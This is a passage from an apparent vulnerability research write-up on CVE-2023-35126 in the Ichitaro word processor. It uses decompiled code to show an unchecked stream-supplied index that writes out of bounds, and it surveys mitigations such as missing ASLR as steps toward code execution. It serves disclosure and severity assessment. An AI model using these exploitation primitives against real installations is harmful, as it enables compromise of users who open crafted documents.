assessment of this vulnerability using <a href="https://jvn.jp/en/jp/JVN28846531/index.html"><u>CVSS 3.1 scoring was 7.8</u></a> (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H), while JP CERT assigned it 3.3 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L), as they didn&#x2019;t deem arbitrary code execution possible. This severely underestimates the severity and poses an unnecessary risk to users who might ignore the security updates. By demonstrating and establishing the exploitability of this vulnerability, we aim to rectify the situation and clarify exploitability estimates for the vulnerabilities we uncover in the future.&#xA0;</p><p>When exploiting a vulnerability in a common target, well-known techniques can be employed, such as relying on the well-known &#x201C;addrof/fakeobj&#x201D; abstraction when exploiting JavaScript engines. However, not all targets allow for the same general techniques. In some cases, interactivity is not possible, or the location of the vulnerability does not allow the adversary to influence enough of the target to allow for exploitability.</p><p>We dissected one of the vulnerabilities discovered within Ichitaro that was classified with seemingly limited severity. Leveraging this vulnerability along with side effects of the code that it belongs to allowed us to construct more powerful exploitation primitives which ultimately resulted in full arbitrary code execution. This not only increases our confidence in the assessment of these families of vulnerabilities but documents and demonstrates the building blocks, tools and methodologies necessary to conduct this research.&#xA0;</p><h1 id="format">Format</h1><p>The main document type supported by the Ichitaro word processor uses the .jtd file extension and is stored as a <a href="https://en.wikipedia.org/wiki/Compound_File_Binary_Format"><u>Microsoft Compound Document</u></a>. A compound document file contains a hierarchical structure composed of multiple content streams, along with naming information for each, which gives it the near appearance of a filesystem. The primary API is also exposed by Microsoft via COM which, when used to open a document, returns an object that implements the <em>IStorage</em> interface. As a result, the format has been used throughout the years by several Microsoft components, including Microsoft&apos;s Office suite, and is extensively documented by Microsoft in <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-cfb/53989ce4-7b05-4f8d-829b-d08d6148375b"><u>[MS-CFB]: Compound File Binary File Format</u></a>.</p><p>Implementers of software utilizing Microsoft&apos;s Compound Document format will leverage its file system-like capabilities to store different streams relating to the contents of the document. Thus, when an application is asked to load a document, the application will read a list of directory entries out of the document to extract the stream names. These stream names can then be used to access the contents of the individual streams, which can then be used to load the necessary parts to restore the document.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/LouQgvn0y4LYcIXf2VT5yxzetc3aXS4MR3lRTJGlQeR31ktUjOBNAhQpmMYRnec5GLrzWUu1XeOQ88j23aJXhoY6iQQ1lNnlBB4A_V8ErQyl3A-5SqTNnuByOetSZsAVa6PuE-xH9Wv_PxqhMyN0Xf0" class="kg-image" alt="Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word" loading="lazy" width="1007" height="616"></figure><p>From this logic of referencing a stream by its name, a pattern can be identified by the reverse engineer and identify where a specific stream is being parsed by a binary. This pattern, combined with the standard API, can enable a reverse engineer to identify the relevant parts of an application that interact with a document.</p><p>Utilizing these patterns, <a href="https://talosintelligence.com/vulnerability_reports/TALOS-2023-1825"><u>TALOS-2023-1825</u></a> was discovered and then reported as <a href="https://jvn.jp/en/jp/JVN28846531/index.htm"><u>CVE-2023-35126</u></a>. When first examining an empty document file, several streams along with their names can be found in the structure storage document&apos;s directory. Cross-referencing some of these stream names with the modules loaded in the address space of the binary leads us to a single binary that references the stream name.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/a3DjmqXS36gvBLsVS8nhJw9KRJb_HFPgZx2QTeOCkvdIOruTX0YfuHpqVJGW8n9TvRz9brwUrWbgHVKRbnJlajwYrbCwFLfyDlB-VNHzFcBDXufCbBEubBrRx__hWERZK9is-_dU4haPdRGdisAc4NQ" class="kg-image" alt="Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word" loading="lazy" width="659" height="306"></figure><p>Using the default stream names found within a document produced by the application, each of the binaries belonging to the application can be searched to determine which libraries reference the corresponding stream name. The following command demonstrates a search of that kind.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/9k_5jAOwvc4Unxm_nd1OdOGxiOF9a3gqF7FACfBg2e2DS9zH3QdPqRkBhDUBD5RIVb_onE2hR6c59dEDljUB9kuLC9jF_UCtNWhYcbqY_nTTELQffrRv773HK7QBTazzB0wWgBU3y6BTW7TsQqd3ahM" class="kg-image" alt="Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word" loading="lazy" width="841" height="82"></figure><p>Once the correct binaries have been identified, the strings can simply be cross-referenced to identify a list of candidates that might be used to interact with the corresponding stream. In the following screenshot, each of the stream names is located near to each other. After the list of candidate functions has been identified, that list can then be used to set breakpoints with a debugger and then used to enumerate the functions that are relevant to parsing the document.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/t7zPPLusWIC44vUn9AEqngiictI12fkDwWR68h8cOADex9sNH67vBjKi-WQjsgLB9vA2csAL3bjDM4r5XEHLgx8S7ov7g_Fulk-Kh_SZ54_dS0DMJj9tiHph3LnbuKKxuJzBHEV6jhp_SWEsNkoE6oY" class="kg-image" alt="Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word" loading="lazy" width="847" height="606"></figure><h1 id="discovery">Discovery</h1><p>The discovery of the bug in question starts with identifying the location of the stream names, enumerating instruction references to them, and then finding the common caller that is shared by each reference. This was done in the following screenshot using the IDA Python script which takes the list of selected addresses, fetches each of their executable references, groups each of them into separate sets and then finds the common intersection of all the sets. This results in a single function address being responsible for the selected stream names.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/K9VOW2E7clAa5UYuB5ztKBPrBqtgwTW19_FuYTlv5v_r4yfpilsvBCbaL4Q6P_XhYBEjBC3j-IqM0mbFC43lYKjQUS_RtpgsS2DOzfeTjMfEgn-4Q_M-90hRGk6mt3Upx-J_dEygGH-LUcxxK0c1wP0" class="kg-image" alt="Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word" loading="lazy" width="773" height="532"></figure><p>After reviewing the function associated with the discovered address, <code>0x3BE25803</code>, it appears to reference all of the stream names that were listed out of the empty document and are used as some form of initialization. Upon running the application with a breakpoint set to this address, our debugger will confirm that this code is executed upon opening the document. Examining the backtrace during the same debugging session then gives us a straightforward path to identify how the application parses streams from the document.</p><p>The function at <code>0x3BE25803</code> then has a single caller at <code>0x3C1FAF0F</code> that can be navigated to in our disassembler. From this caller, each function that is called by it can be used to identify other places where stream names from the document are referenced. This is a common pattern that can be used to map each stream name to a function that is either responsible for parsing said stream or initializing the scope of variables that are later used when parsing the stream.</p><pre><code class="language-clike">int __thiscall object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be(
        object_9c2044 *this,
        JSVDA::object_OFRM *ap_oframe_0,
        int av_documentType_4,
        int av_flags_8,
        int av_whichStream_c,
        _DWORD *ap_result_10)
{
  lp_this_64 = this;
  p_result_10.ap_unkobject_10 = (int)ap_result_10;
  lp_oframe_6c = ap_oframe_0;
  constructor_3a9de4(&amp;lv_struc_38);
  lv_result_4 = 0;
  sub_3BE29547(lv_feh_60, 0xFFFF, 0);
...
  lv_struc_38.v_documentType_8 = av_documentType_4;
  lv_struc_38.v_initialParsingFlags_c = av_flags_8;
  lv_struc_38.p_owner_24 = lp_this_64;
  lv_struc_38.v_initialField(1)_10 = 1;
  lv_position_7c = 4;
  if ( av_whichStream_c == 1 || av_whichStream_c == 3 || av_whichStream_c == 4 )                // Determine which stream name to use
  {
    v9 = &quot;DocumentViewStyles&quot;;
  }
  else
  {
...
    v9 = &quot;DocumentEditStyles&quot;;
  }
  v10 = object_OFRM::openStreamByName?_132de4(lp_oframe_6c, v9, 16, &amp;lp_oseg_68);               // Open up a stream by a name.
  if ( v10 != 0x80030002 )
  {
...
    *(_QWORD *)&amp;lp_oframe_70 = 0i64;
    if ( object_OSEG::setCurrentStreamPosition_1329ce(lp_oseg_68, 0, 0, 0, 0) &gt;= 0              // Read a two 16-bit integers for the header
      &amp;&amp; object_OSEG::read_ushort_3a7664(lp_oseg_68, &amp;lv_ushort_74)
      &amp;&amp; object_OSEG::read_ushort_3a7664(lp_oseg_68, &amp;lv_ushort_78) )
    {
      if ( (unsigned __int16)lv_ushort_74 &lt;= 1u )
      {
        lv_struc_38.vw_version_20 = lv_ushort_74;
        lv_struc_38.vw_used_22 = lv_ushort_78;
...
        v12 = 0;
        for ( i = 4; ; lv_position_7c = i )                                                     // Loop to process contents of stream
        {
          v25 = v12;
          v14 = struc_3a9de4::parseStylesContent_3a7048(&amp;lv_struc_38, lp_oseg_68, i, v12, av_whichStream_c, p_result_10, 0);
          v_result_8 = v14;
          if ( v14 == 0xFFFFFFE8 )
            break;
          if ( v14 != 1 )
            goto return(@edi)_3a78dd;
          i = lv_struc_38.v_header_long_4 + 6 + lv_position_7c;
          v12 = ((unsigned int)lv_struc_38.v_header_long_4 + 6i64 + __PAIR64__(v25, lv_position_7c)) &gt;&gt; 32;
        }
        v_result_8 = 1;
      }
...
  return v_result_7;
}</code></pre><p>The listing shows the beginning of the function at <code>0x3C1FAF0F</code> with the name <code>object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be</code>. This function references the <code>DocumentViewStyles</code> stream. Specifically, both the <code>DocumentViewStyles</code> and <code>DocumentEditStyles</code> strings are referenced next to each other separated by only a conditional. Hence, both streams likely use the same implementation to parse their contents and a parameter is used to distinguish between them. At the bottom of the same function is a loop that is likely used to process the variable-length contents of the streams. If we examine the function being called for each iteration of this loop, we will encounter the following function, which is of reasonable complexity and appears to process some number of record types using a 16-bit integer as their key. The shape of this function is shown in the following screenshot.&#xA0;</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/tBuS_8iKeAVfZ7dcS5tzZhb2mA5zTeJ9EDDCppNI4KXs780wl0CJmbbx4VCarnQ3RuCKY-5Zw9UsErtgpH7kZ7V8uz459uGm96DmmlHPUNjmSZ0gqnqXjOwj5oYrrp1NHyVpDoH4v0UI5NpXPZw4rSc" class="kg-image" alt="Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word" loading="lazy" width="767" height="521"></figure><p>The following list is a decompilation of the function from the previous screenshot that parses record types out of the stream. Exploring the different cases implemented by this method shows that it is responsible for parsing around 10 different record types. Most of the functions used to parse each individual record types are prefaced with a function that ensures that the necessary fields are constructed and initialized before processing its corresponding record. This implies that the conditional allocations involved with these fields can only be used once per instance of the document, and will need to already have been called to avoid the unpredictability of the data that is left on the stack during the exploitation process.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/kpFAw8KYvwn91s4JbiMZQ5tYnQE7UUFN1_S6oiCmvFKySG9JZtAmu7GbZPOzkT0gi4r49krGYSAktgHWCO07Pzqe8vdjkxMqr1BDivcQt6Vp-aA4Y5sTWAEnIbD6fukn5FzwYc0ICmmILO2MAn42Iig" class="kg-image" alt="Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word" loading="lazy" width="773" height="532"></figure><pre><code class="language-clike">int __thiscall struc_3a9de4::parseStylesContent_3a7048(
        struc_3a9de4 *this,
        JSVDA::object_OSEG *ap_oseg_0,
        int av_position(lo)_4,
        int av_position(hi)_8,
        int av_currentStreamState?_c,
        frame_3a7048_arg_10 ap_unkobjectunion_10,
        frame_3a7048_arg_14 ap_nullunion_14)
{
  lv_result_4 = 0;
  p_oseg_0 = ap_oseg_0;
...
  v_documentType_8 = this-&gt;v_documentType_8;
  v_boxHeaderResult_0 = struc_3a9de4::readBoxHeader?_3a6fae(this, ap_oseg_0);
  if ( v_boxHeaderResult_0 != 31 )
  {
...
    vw_header_word_0 = (unsigned __int16)this-&gt;vw_header_word_0;                        // Check first 16-bit word from stream
    p_owner_24 = this-&gt;p_owner_24;
    lp_owner_8 = p_owner_24;
    if ( vw_header_word_0 &gt; 0x2003 )
    {
      v_wordsub(2004)_0 = vw_header_word_0 - 0x2004;
      if ( v_wordsub(2004)_0 )
      {
        v_word(2005)_0 = v_wordsub(2004)_0 - 1;
        if ( !v_word(2005)_0 )
        {
          if ( av_currentStreamState?_c != 5 ) {                                        // Check for record type 0x2005
            struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
            p_styleObject_3a712c = struc_3a9de4::readStyleType(2005)_3a6bec(this, p_oseg_0, this-&gt;v_header_long_4, Av_parsingFlagField_8 == 3);
            goto returning(@eax)_endrecord_3a736f;
          }
          goto returning(1)_endrecord_3a70f9;
        }
        v_wordsub(2006)_0 = v_word(2005)_0 - 1;
        if ( v_wordsub(2006)_0 )
        {
          v_word(2007)_0 = v_wordsub(2006)_0 - 1;
          if ( v_word(2007)_0 )
          {
            v_word(2008)_0 = v_word(2007)_0 - 1;
            if ( !v_word(2008)_0 )
            {
...
              if ( p_object_60 )
              {

LABEL_93:
                p_styleObject_3a712c = object_9d0d30::readStyleType(2008)_391906(       // Process record type 0x2008
                                         p_object_60,
                                         p_oseg_0,
                                         this-&gt;v_header_long_4,
                                         Av_parsingFlagField_8,
                                         this-&gt;v_documentType_8,
                                         ap_unkobjectunion_10.ap_unkobject_10,
                                         &amp;lv_result_4);
                goto returning(@eax)_endrecord_3a736f;
              }
              goto returning(@esi)_endrecord_3a7625;
            }
...
        }
...
      }
...
      return p_result_3a705e;
    }
...
    struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
    object_9e5ffc = ap_nullunion_14.object_9e5ffc;
    goto readStyleType(1000)_3a7365;
  }
  return 0xFFFFFFE8;
}</code></pre><p>The first set of conditions that are listed in the decompilation leads to the parser for record type <code>0x2005</code>. The second case, as per the decompilation, is used to parse record type <code>0x2008</code>. It is this record type that contains the entirety of the vulnerability leveraged by this document.</p><p>The next listing shows the parser for record type <code>0x2008</code>. In it, we can immediately spot a static-sized array named <code>lv_objects(6)_6c</code> due to the loop that initializes it. After a closer look at the references to this array, the function uses an index, <code>lvw_index_70</code>, to access elements of the <code>lv_objects(6)_6c</code> array. This index is directly read from the file as one of the output parameters of the <code>arena_reader::read_header_779756</code> method without verifying it is within bounds of the array. Immediately after the index is used fetch an item from the array, the item is then written to. Thus, this out-of-bounds index is made significantly more useful due to it being used for writing into a constant-sized array allocated in the frame.</p><pre><code class="language-clike">int __thiscall object_9d0d30::readStyleType(2008)_391906(
        object_9d0d30 *this,
        JSVDA::object_OSEG *ap_oseg_0,
        int av_size_4,
        int av_someFlag_8,
        int av_documentType_c,
        int ap_nullobject_10,
        int *ap_unusedResult_14)
{
...
  v34 = 0;
  p_object_14 = this-&gt;v_data_20.p_object_14;
...
  v9 = JSFC::malloc_181e(sizeof(object_9d14a0));
...
  if ( v9 )
    v10 = object_9d14a0::constructor_38cb12(v9, this-&gt;v_data_20.p_object(9c2044)_c, this);
...
  this-&gt;v_data_20.p_object_14 = v10;
  object_9d14a0::addSixObjects_38cb7d(v10);
  for ( i = 0; i &lt; 6; ++i )                                                                     // Loop for an array with a static length
    lv_objects(6)_6c[i] = object_9d14a0::getPropertyForItemAtIndex_37a71d(this-&gt;v_data_20.p_object_14, i);
...
  while ( lvw_case_84 != 0xFFFF )                                                               // Keep reading records until 0xFFFF
  {
    switch ( lvw_case_84 )
    {
      case 0u:                                                                                  // Case 0-4,6,8,9 are similar.
        if ( !arena_reader::read_header_779756(&amp;lv_triple_80, &amp;lv_size_74, &amp;lvw_index_70) )
          goto LABEL_47;
        LOWORD(lv_size_74) = lv_size_74 - 2;
        if ( !arena_reader::read_ushort_779780(&amp;lv_triple_80, &amp;v25) )
          goto LABEL_47;
        lv_objects(6)_6c[lvw_index_70]-&gt;v_data_20.v_typeField(0)_14 = v25;                      // lvw_index_70 is unbounded
        goto LABEL_51;
...
      case 5u:                                                                                  // Case 5
        if ( !arena_reader::read_header_779756(&amp;lv_triple_80, &amp;lv_size_74, &amp;lvw_index_70) )
          goto LABEL_47;
        LOWORD(lv_size_74) = lv_size_74 - 2;
...
        wstringtoggle_7fb182::initialize_7fb182(&amp;v15, lv_wstring(28)_54);
        LOBYTE(v34) = 0;
        object_9d15a0::moveinto_field(20,2c)_6c0780(lv_objects(6)_6c[lvw_index_70], v15);       // lvw_index_70 is unbounded
        goto LABEL_51;
...
      case 7u:                                                                                  // Case 7
        if ( !arena_reader::read_header_779756(&amp;lv_triple_80, &amp;lv_size_74, &amp;lvw_index_70) )
          goto LABEL_47;
        lv_size_74 += 0xFFFC;
        if ( !arena_reader::read_int_6b5bc1(&amp;lv_triple_80, &amp;v17) )
          goto LABEL_47;
        lv_objects(6)_6c[lvw_index_70]-&gt;v_data_20.v_typeField(7)_38 = v17;                      // lvw_index_70 is unbounded
        goto LABEL_51;
...
      default:
        if ( !arena_reader::read_ushort_779780(&amp;lv_triple_80, &amp;lv_size_74) )
          goto LABEL_47;
        break;
    }
    while ( lv_size_74 )
    {
      if ( !arena_reader::read_byte_405b6c(&amp;lv_triple_80, &amp;lvb_85) )
        goto LABEL_47;
      lv_size_74 += 0xFFFF;
    }
...
  }
...
}</code></pre><p>The index is used to refer to the correct element in an array of pointers to an object. The object used for each element of the array, <code>object_9d15a0</code>, is <code>0x68</code> bytes in size and is primarily composed of integer fields that are used to store data read from the current stream. Thus, the vulnerability enables us to write data to one of the object&#x2019;s fields depending on which case was read during parsing. Examining each of the cases individually, there are three ways in which the implementation may <em>be written</em> to <code>object_9d15a0</code>.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/zF7RV9UaqVR-CZd4lmDaAzuH0xCuYn7m1nHBMVRVrb2p4lOKPrrSPTu3AzgHCXlvxlVZhfCfyLA4LjGnRpWMNIcXT3hTK5kfYIvXgj6YKf2G90sC3czYbE2acpaBFS-x2KMlM9qdrmWWsvP0h-RAlGE" class="kg-image" alt="Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word" loading="lazy" width="995" height="532"></figure><p>The first class involves dereferencing a pointer from the indexed object and then writing a 16-bit integer zero-extended to 32 bits to the target of the pointer.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/9wq9nkApQn7EFJEjEnSkg3PKlfjheQfIQ7M_AIOG-VdsxjOKnZ6NxqmWkj0kr37DarCIpKv824_yhBB4TsqOJ-MgHKFUW9Bs57ahFsTaFY47vtaLyncpEubfKt3NTVPtnqnHoBn55HzdCv7iAs5t9ho" class="kg-image" alt="Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word" loading="lazy" width="995" height="483"></figure><p>The second class also involves dereferencing a pointer but allows us to write a 32-bit integer to the pointer&apos;s target.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/LQ0cR6ekJb6zJ6ogLnn_8WR5RY6Ryc0wSteEewAuxaU9S4P3QJwYkWKeKRlNYxgorIAAvPcb4mn8gCJgFa3JDcwBsvFYeoqWwVqmd3JpqbGxgO04SSIy9p3vJ4XVTFc4LZesv7oF3V1lgHcf5YLJtOA" class="kg-image" alt="Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word" loading="lazy" width="995" height="603"></figure><p>The third class is slightly more complex, but it appears to write a reference to a short object of some kind that contains an integer that can be set to <code>1</code> or <code>2</code>, and a pointer that can be freed depending on the value of that integer. Of these three classes, the 32-bit integer write seems to be the most useful unless we plan to write a length where the high 16-bits are always cleared.</p><p>After the pointer for any of these classes has been dereferenced, the integer that is decoded from the stream is written to a field within the dereferenced object. Examining each individually shows us exactly which field of the object will be written to. It appears that depending on the case that we choose, our decoded integer will end up being written within the range <code>+0x34</code> to <code>+0x60</code> of the object. As only the 32-bit integer and possibly the short object cases appear to be of use, we will take note of the field they write to, and use that field to locate something useful to overwrite. Specifically, we take note that the short object type is using case <code>0x5</code> and will result in writing to offset <code>+0x4c</code>, whereas the 32-bit integer type for case <code>0x7</code> will end up writing to offset <code>+0x58</code>.</p><pre><code class="language-Python">Python&gt;struc.by(&apos;object_9d15a0&apos;).members
&lt;class &apos;structure&apos; name=&apos;object_9d15a0&apos; size=0x68&gt;
[0]  0+0x4                     int &apos;p_vftable_0&apos; (&lt;class &apos;int&apos;&gt;, 4)     # [vftable] 0x3c4515a0
[1]  4+0x1c JSFC::CCmdTarget::data &apos;v_data_4&apos;    &lt;class &apos;structure&apos; name=&apos;JSFC::CCmdTarget::data&apos; offset=0x4 size=0x1c&gt;
[2] 20+0x48    object_9d15a0::data &apos;v_data_20&apos;   &lt;class &apos;structure&apos; name=&apos;object_9d15a0::data&apos; offset=0x20 size=0x48&gt;

Python&gt;struc.by(&apos;object_9d15a0&apos;).members[2].type.members
&lt;class &apos;structure&apos; name=&apos;object_9d15a0::data&apos; offset=0x20 size=0x48&gt;
[0]  20+0x4                  int &apos;p_vftable_0&apos;             (&lt;class &apos;int&apos;&gt;, 4)
[1]  24+0x4                  int &apos;p_vftable_4&apos;             (&lt;class &apos;int&apos;&gt;, 4)
[2]  28+0x2              __int16 &apos;field_8&apos;                 (&lt;class &apos;int&apos;&gt;, 2)
[3]  2a+0x2              __int16 &apos;field_A&apos;                 (&lt;class &apos;int&apos;&gt;, 2)
[4]  2c+0x4                  int &apos;field_C&apos;                 (&lt;class &apos;int&apos;&gt;, 4)
[5]  30+0x4       object_9d0d30* &apos;p_owner_10&apos;              (&lt;class &apos;type&apos;&gt;, 4)
[6]  34+0x4                  int &apos;v_typeField(0)_14&apos;       (&lt;class &apos;int&apos;&gt;, 4)   # [styleType2008] 0x0
[7]  38+0x4                  int &apos;v_typeField(1)_18&apos;       (&lt;class &apos;int&apos;&gt;, 4)   # [styleType2008] 0x1
[8]  3c+0x4                  int &apos;v_typeField(2)_1c&apos;       (&lt;class &apos;int&apos;&gt;, 4)   # [styleType2008] 0x2
[9]  40+0x4                  int &apos;v_typeField(3)_20&apos;       (&lt;class &apos;int&apos;&gt;, 4)   # [styleType2008] 0x3
[10] 44+0x4                  int &apos;v_typeField(9)_24&apos;       (&lt;class &apos;int&apos;&gt;, 4)   # [styleType2008] 9
[11] 48+0x4                  int &apos;v_typeField(4)_28&apos;       (&lt;class &apos;int&apos;&gt;, 4)   # [styleType2008] 0x4
[12] 4c+0x8 wstringtoggle_7fb182 &apos;v_typeFieldString(5)_2c&apos; &lt;class &apos;structure&apos; name=&apos;wstringtoggle_7fb182&apos; offset=0x4c size=0x8&gt; # [styleType2008] 5
[13] 54+0x4                  int &apos;v_typeField(6)_34&apos;       (&lt;class &apos;int&apos;&gt;, 4)   # [styleType2008] 0x6
[14] 58+0x4                  int &apos;v_typeField(7)_38&apos;       (&lt;class &apos;int&apos;&gt;, 4)   # {&apos;styleType2008&apos;: 7, &apos;note&apos;: &apos;writes 4b integer&apos;}
[15] 5c+0x4                  int &apos;v_typeField(8)_3c&apos;       (&lt;class &apos;int&apos;&gt;, 4)   # [styleType2008] 0x8
[16] 60+0x4                  int &apos;field_40&apos;                (&lt;class &apos;int&apos;&gt;, 4)
[17] 64+0x4     JSFC::SomeString &apos;v_string_44&apos;             &lt;class &apos;structure&apos; name=&apos;JSFC::SomeString&apos; offset=0x64 size=0x4&gt;
</code></pre><p>Referencing the listing, each of the fields that are being written to are named as <code>v_typeField(case)_offset</code>. When parsing the <code>0x2008</code> record type, the integer decoded out of the stream will be written to either one of these fields. It is worth noting that the field <code>v_typeField(7)_38</code> for case <code>7</code> will allow us to write a full 32-bit integer, the field <code>v_typeFieldString(5)_2c</code> for case <code>5</code> will allow us to write a pointer to a 16-bit character string, and the other fields will allow us to write a 32-bit integer zero-extended from a 16-bit integer. The only thing left to do is to write a proof-of-concept demonstrating the out-of-bounds index being used to dereference a pointer, and then write to our desired field.</p><h1 id="mitigations">Mitigations</h1><p>After identifying the vulnerability, we can immediately check the mitigations that have been applied to the target to get a better idea of what might be a hindrance to the exploitation of our <em>write</em> candidates. By examining the modules in the address space, we can see that DEP (W^X) is enabled, but ASLR is not for some of the listed modules. This greatly simplifies things, since our vulnerability allows us to overwrite practically anything within these listed modules. Because of this, we won&apos;t need to do much else other than write to a known address to hijack execution.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/or7G3b3D7daXNSDgJU5bktJk38d-XwHXqH_xGikuyncADlp-YiLQR5VYEAlKlLvNd-vBqCWkb7GYupesaCRVnPbW8T9GpYaLICEQ2-etZkL41eigT3xxXkP7cjS0BRrDGu16DFXuo0JMYmahIhyZfpE" class="kg-image" alt="Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word" loading="lazy" width="510" height="222"></figure><p>In the following screenshot, we also notice that the target uses frame pointers and stack canaries to protect them from being overwritten. This won&apos;t directly affect the exploitation of this vulnerability but could affect any code we might end up re-purposing once we earn the ability to execute code.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/RbqCWFkEeuz6-EbReMDSzYq1Eb9mgrF88-tZU4kluQDTFNINnwCOXEa0rJTniGKyF4S8UQwX7mcT6XUVKajEfbAJmK0u0hYc5Gxfw1m6Le_48HtsfVqgusXC81Z28_t6O8HeHUwxX2L4GJmsGleMpi8" class="kg-image" alt="Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word" loading="lazy" width="774" height="545"></figure><h2 id="leveraging-the-vulnerability">Leveraging the vulnerability</h2><p>Now that we&apos;ve identified anything that might add to the complexity of our goals, we can revisit the vulnerability and expand on it. The first thing we&apos;ll need to do is to control the pointer that will be dereferenced. Our pointer will be located on the stack, so we&apos;ll need to get data that is parsed from the stream by the application to be located on the stack so that we can use our out-of-bounds index to dereference it.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/-1izapv9G_fXIkITxFn5MxiQzUTwNWjr7PygVT2gayJsF8Y-3QQyMItB7dBvWHDeFifoVB1jJtSBsjz07Tu2mzBCptlNuoFGnZk4n4IRpKoHgop3KN8rZOcbBWxWHOmvUo7c7JDlg_qqRoF8bbJajz4" class="kg-image" alt="Dissecting a complex vulnerability and achieving arbitrary code execution in Ichitaro Word" loading="lazy" width="876" height="398"></figure><p>Examining the scope of the vulnerability shows that it has a call stack depth of three, from when the document starts to parse the streams from the document at <code>object_9c2044::method_processStreams_77af0f</code>. This depth represents the part of the application where we control input and contains the logic by which we can influence the application with our document. Any data that is read from the file will only be available from one of the methods within this scope.</p><pre><code class="language-clike">int __thiscall object_9c2044::method_processStreams_77af0f(
        object_9c2044 *this,
        JSVDA::object_OFRM *ap_oframe_0,
        unsigned int av_documentType_4,
        unsigned int av_flags_8,
        struc_79aa9a *ap_stackobject_c,
        int ap_null_10)
{
...
  lp_oframe_230 = ap_oframe_0;
  lp_stackObject_234 = ap_stackobject_c;
...
  if ( !lv_struc_24c.lv_flags_10 )
  {
LABEL_42:
    lv_struc_24c.field_14 = av_flags_8 &amp; 0x800;
    v10 = object_9c2044::parseStream(DocumentViewStyles)_3a790a(this, ap_oframe_0, av_documentType_4, av_flags_8);          // &quot;DocumentViewStyles&quot;
    if ( v10 == 1 )
    {
      v10 = object_9c2044::parseStream(DocumentEditStyles)_3a6cb2(this, lp_oframe_230, av_documentType_4, av_flags_8);      // &quot;DocumentEditStyles&quot;
      if ( v10 == 1 )
      {
        v10 = object_10cbd2::processSomeStreams_778971(
                this-&gt;v_data_290.p_object_48,
                lp_oframe_230,
                av_documentType_4,
                av_flags_8);
        if ( v10 == 1 )
        {
...
          v10 = object_9c2044::decode_substream(Toolbox)_3a6a7b(this, lp_oframe_230);                                       // &quot;Toolbox&quot;
          if ( v10 == 1 )
          {
            v10 = object_9c2044::decode_stream(DocumentMacro)_3a680a(this, lp_oframe_230, av_documentType_4);               // &quot;DocumentMacro&quot;
            if ( v10 == 1 )
            {
              v10 = sub_3BE25803(this, lp_oframe_230, av_flags_8);
              if ( v10 == 1 )
              {
                v10 = JSVDA::object_OFRM::decode_stream(Vision_Sidenote)_77310e(this, lp_oframe_230);                       // &quot;Vision_Sidenote&quot;
                if ( v10 == 1 )
                {
                  v10 = object_9c2044::decode_stream(MergeDataName)_3a55d3(this, lp_oframe_230);                            // &quot;MergeDataName&quot;
                  if ( v10 == 1 )
                  {
                    v10 = object_9c2044::decode_stream(HtmlAdditionalData)_3a5445(this, lp_oframe_230, av_documentType_4, lp_stackObject_234, 0);
...
                  }
                }
              }
            }
          }
        }
      }
    }
...
  }
  return v10;
}

/** Functions used to parse both the &quot;DocumentViewStyles&quot; and &quot;DocumentEditStyles&quot; streams. **/
int __thiscall object_9c2044::parseStream(DocumentViewStyles)_3a790a(object_9c2044 *this, JSVDA::object_OFRM *ap_oframe_0, int av_documentType_4, int av_flags_8)
{
  object_9c2d50::field_397a8d::clear_3a7b8b(this-&gt;v_data_290.p_object_84-&gt;v_data_4.p_streamContentsField_1dc);
  this-&gt;v_data_290.p_object_84-&gt;v_data_4.p_streamContentsField_1dc = 0;
  return object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be(this, ap_oframe_0, av_documentType_4, av_flags_8, 1, 0);
}

int __thiscall object_9c2044::parseStream(DocumentEditStyles)_3a6cb2(object_9c2044 *this, JSVDA::object_OFRM *ap_oframe_0, int av_documentType_4, int av_flags_8)
{
  object_9c2d50::field_397a8d::clear_3a7b8b(this-&gt;v_data_290.p_object_84-&gt;v_data_4.p_streamContentsField_1d8);
  this-&gt;v_data_290.p_object_84-&gt;v_data_4.p_streamContentsField_1d8 = 0;
  return object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be(this, ap_oframe_0, av_documentType_4, av_flags_8, 2, 0);
}
